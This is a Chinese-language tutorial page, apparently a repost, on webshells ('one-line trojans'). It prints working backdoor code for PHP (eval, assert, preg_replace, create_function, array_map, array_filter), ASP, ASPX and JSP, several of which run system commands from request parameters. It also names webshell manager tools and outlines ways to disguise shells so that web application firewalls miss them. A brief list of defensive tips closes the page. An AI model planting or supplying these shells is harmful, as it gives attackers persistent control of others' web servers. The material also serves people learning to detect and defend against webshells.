Webshell 一句話木馬


Webshell介紹

什么是 WebShell

  • webshell就是以asp、php、jsp或者cgj等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門

  • 由於 webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具

  • 攻擊者可以利用 webshell從而達到長期控制網站服務器的目的,並獲得執行操作權

Webshell分類

一句話木馬的執行過程

PHP中常見的代碼執行函數

  • 執行函數與 Webshell的關系

    • PHP中可以執行代碼的函數,常常被用來編寫一句話木馬 ,因此對代碼執行函數做一些歸納
  • PHP中常見的代碼執行函數

  • eval()、 assert()、 preg_replace()、create_function()

    • array_map()、call_user_func()、 call_user_func_array()、array_filter()
  • 命令執行函數

    • system()、exec()、 popen()、 passthru()、 shell_exec()、`

PHP Webshell

各個版本php支持函數如下

  • 5.x :eval / assert / preg_replace /e /create_function

  • 7.x :eval / assert

  • 8.x :eval

常用PHP函數版本Webshell

**// eval()函數** 
<?php eval($_REQUEST["cmd"]);?>

**// assert()函數** 
<?php assert($_REQUEST["cmd"]);?>

**// preg_replace()函數** 
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>

**// create_function()函數** 
<?php
  $func = create_function('',$_REQUEST['cmd']);
  $func();
?>

**// array_map()函數** 
<?php
 //func=system&cmd=ipconfig
 $func=$_REQUEST['func'];
 $cmd=$_REQUEST['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
?>

**// array_filter函數** 
<?php
 //func=system&cmd=whoami
 $cmd=$_REQUEST['cmd'];
 $array1=array($cmd);
 $func=$_REQUEST['func'];
 array_filter($array1,$func);
?>

PHP 4種標記風格

php和其他幾種web語言一樣,都是使用一對標記將php代碼部分包含起來,以便和html代碼相區分,php一共4中標記風格

  1. xml風格(標准風格推薦使用)
<?php
  echo "這是xml風格的標記"; 
?>  
  • xml風格的標記是常用的標記,也是推薦使用的標記,服務器不能禁用,該風格的標記在xml,xhtml中都可使用。
  1. 腳本風格
<script languange="php"> 
  echo'這是腳本風格的標記';  
</script>  
  1. 短標簽風格
<? 這是簡短風格的標記; ?> 

注:需要在php.ini配置文件中開啟short _open_tag=On ,默認關閉

  1. asp風格
<%  
  echo '這是asp風格的標記';  
%>  

注:需要在 php.ini 配置文件中開啟 asp_tags = On ,默認關閉

  • 注:在以下情況應避免使用短標記:開發需要發行的程序或者庫,或者在用戶不能控制的服務器上開發。因為目標服務器可能不支持短標記。為了代碼的移植及發行,確保不要使用短標記。

其他語言 Webshell

asp語言Webshell

// 菜刀可以連接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII碼值

// 可以執行系統命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>

aspx語言Webshell

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>

jsp語言Webshell

// 執行系統命令且有回顯
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
  while((a=in.read(b))!=-1){
    out.println(new String(b,0,a));
  }out.print("</pre>");
}%>

Webshell管理工具

  • 為什么使用 WebShel管理工具?

攻擊者在入侵網站時,通常要通過各種方式寫入 Webshell,從而獲得服務器的控制權限,比如執行系統命令、讀取配置文件等操作

  • Webshell管理工具四大功能

    • 數據配置管理
    • 虛擬終端操作
    • 文件管理
    • 數據庫管理
  • 常見的 WebShel管理工具

蟻劍 (AntSword)

C刀 (Knife)

冰蠍 (Behinder)

  • 一款動態二進制加密 網站管理客戶端

  • 冰蠍″目前最新版本為v3.0,兼容性已經日益完善,加密不再依賴 PHP opens$!展功能,同時支持了簡單的ASP

  • 主體功能方面包括虛擬終端、 socks代理、文件管理、反彈she!數據庫管理等,功能強大

  • github項目地址:https://github.com/rebeyond/behinder/releases

Webshell變形

變形目的

  • waf通常以關鍵字 判斷是否為一句話木馬,但是一句話木馬的變形有很多種,waf不可能全部攔截

  • 想要繞過waf,需要掌握各種PHP小技巧,把技巧結合起來,可以設計出屬於自己的一句話木馬

變形方法

  1. 利用str_replace() 函數

  1. 利用base64_decode() 函數

  1. 利用"."操作符

  1. 更換數據來源

  1. 替代標簽

  1. 字符串組合法隱藏關鍵字

  1. 其他變形

Webshell變形總結

繞過技巧

  1. 更換執行數據來源

  2. 字符替換 或者編碼

  3. 采取隱匿 手段

WebShell防御技巧

  1. 使用和及時更新防護類工具或產品

  2. 對服務器的文件夾設置嚴格的讀寫權限

  3. 在服務器中禁用一些敏感的危險函數 ,如命令執行 system() 等函數

  4. 定期檢查系統進程,查看是否有可疑的進程

  5. 根據文件的創建日期觀察系統目錄下是否有近期新建的可執行文件


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM